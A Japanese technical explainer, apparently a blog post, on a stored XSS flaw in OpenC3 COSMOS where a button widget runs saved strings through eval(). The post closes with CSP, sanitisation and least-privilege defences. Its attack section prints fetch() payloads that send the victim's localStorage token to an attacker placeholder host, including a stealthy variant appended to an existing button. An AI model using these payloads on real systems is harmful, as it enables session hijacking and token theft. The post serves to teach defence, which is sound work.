[技術解説] OpenC3 COSMOSにおける深刻なStored XSS脆弱性:フロントエンドの視点から学ぶべきこと
はじめに
OpenC3 COSMOSの深刻度HighなStored XSS脆弱性(GHSA-gvf2-2rh5-mpgf / CVE-2026-77394)について、日本のフロントエンドエンジニア向けに技術的な観点から解説します。この脆弱性は、ユーザーが作成した画面上のボタンウィジェットが悪意あるJavaScriptコードをクロスユーザーで実行してしまうもので、セッションハイジャックやサーバーサイドへのコード実行に繋がる可能性があります。
脆弱性の概要と根本原因
この脆弱性はOpenC3 COSMOSのバージョン7.2.0で確認されており、`system_set`権限を持つユーザーが悪意あるTelemetry画面を保存できることに起因します。特に問題となるのは、画面に配置される`BUTTON`ウィジェットの挙動です。
根本原因は以下の3点に集約されます。
1. **ユーザー入力の不適切な処理**: Telemetry画面のテキストデータが保存時に適切にサニタイズされず、JavaScriptコードが埋め込まれた状態でデータベースに保存されます。
2. **`eval()`の使用**: `BUTTON`ウィジェットが、ボタンのアクションとして保存された文字列をブラウザ側で`eval()`関数を使って評価・実行します。これにより、攻撃者が埋め込んだJavaScriptがそのまま実行されます。
3. **クロスユーザーでの共有**: 保存された画面はスコープ内で共有され、他のユーザーがその画面を開くと、埋め込まれた悪意あるJavaScriptが被害者の認証済みセッション内で実行されます。
さらに、サイトのContent-Security-Policy(CSP)が`'unsafe-inline'`と`'unsafe-eval'`を許可しているため、インジェクションされたスクリプトがブロックされずに実行されてしまいます。これは脆弱性の「Contributing factor(寄与する要因)」として挙げられています。
攻撃の詳細とシナリオ
攻撃は以下のような流れで実行されます。
1. **画面の保存(攻撃者が行う)**: `system_set`権限を持つ攻撃者が、Telemetry画面に悪意あるJavaScriptを仕込んだ`BUTTON`ウィジェットを含む画面を保存します。例えば、ボタンのアクション部分に`fetch("https://ATTACKER-COLLABORATOR/?t="+encodeURIComponent(localStorage.openc3Token))`のようなコードを埋め込みます。
2. **`eval()`による実行(被害者のブラウザで行われる)**: 被害者が攻撃者が作成・改ざんした画面を開き、その画面上のボタンをクリックすると、`openc3-vue-common/src/widgets/ButtonWidget.vue`内のコードによってボタンアクションの文字列が`eval()`されます。実際のコードは以下のようになっています。
```js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen // ... const result = eval(lines[i].trim()) // 攻撃者によって制御された文字列が、被害者のセッションで任意のJSとして実行される ```
3. **セッション乗っ取り**: 実行されたJavaScriptは、被害者の`localStorage.openc3Token`を窃取し、攻撃者のサーバーへ送信します。このトークンはベアラートークンとして機能するため、攻撃者はこのトークンを使って被害者のセッションを乗っ取ることができます。さらに、被害者の持つ権限(特にスクリプト実行権限)を利用して、サーバーサイドでのコード実行に繋がる可能性も指摘されています。
より巧妙な攻撃として、既存のオペレーション画面のボタンに悪意あるコードを追記し、ユーザーに気付かれずにセッション情報を窃取するシナリオも考えられます。例えば、`Start Collect`ボタンの既存のコマンドに`" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"`と追記することで、元のボタン機能はそのままに、副次的にセッション情報が漏洩します。
フロントエンドエンジニアが取るべき対策
この脆弱性は、フロントエンド開発におけるセキュリティの基本原則を見直す良い機会となります。
ユーザーから提供されたコンテンツを直接`eval()`で実行することは、XSSの典型的な原因です。`eval()`は極力避け、もし動的なコード実行が必要な場合は、以下のような安全な代替手段を検討してください。
- **Allow-listベースのコマンドインターフェース**: 実行可能なコマンドを厳密に定義し、ユーザー入力はその定義されたコマンドのみにマッピングする。
- **サンドボックス化された環境**: 危険なAPIへのアクセスを制限したWeb Workerやiframe内でコードを実行する。
- **セキュアな式評価ライブラリ**: 外部の安全性が検証されたライブラリを使用し、独自のパーサーを実装する。
CSPはXSS攻撃に対する強力な防御層となり得ますが、`'unsafe-inline'`や`'unsafe-eval'`を許可するとその効果が著しく低下します。攻撃者がインジェクションしたスクリプトをブラウザがブロックするように、CSPを厳格化しましょう。
**推奨されるCSPの強化策**:
- `script-src`から`'unsafe-inline'`と`'unsafe-eval'`を削除する。
- インラインスクリプトや動的なスクリプトの実行が必要な場合は、`nonce`(スクリプトごとにランダムな値)や`'strict-dynamic'`ディレクティブを適用し、許可されたスクリプトのみが実行されるようにする。
- `object-src 'none'`、`base-uri 'self'`、`frame-ancestors 'self'`など、他の強力なディレクティブも設定し、攻撃者が悪用できる要素を減らす。
全てのユーザー入力は「信頼できない」ものとして扱い、保存時および表示時に適切なサニタイズ(HTMLタグや属性の無害化)とエスケープ(特殊文字の変換)を徹底することが重要です。
- 特に、HTML要素として解釈されうるデータやJavaScriptとして実行されうるデータは、表示前に必ずエスケープ処理を行う必要があります。
- サニタイズには、DOMPurifyのような堅牢なライブラリの利用を検討してください。
今回の脆弱性では`system_set`権限が悪用されました。システム設計において、特定の機能(例: 画面にJavaScriptを埋め込む機能)を実行できるユーザーの権限をより厳格に分離し、最小権限の原則を適用することが重要です。
まとめ
OpenC3 COSMOSのStored XSS脆弱性は、`eval()`の危険な使用、不適切な入力処理、そして緩いCSPが複合的に作用した結果として発生しました。フロントエンドエンジニアは、このような事態を防ぐために、セキュアなコーディングプラクティスを徹底し、CSPのような防御機構を最大限に活用することが求められます。ユーザーの入力は常に疑い、安全な代替手段を検討し、多層的なセキュリティ対策を講じましょう。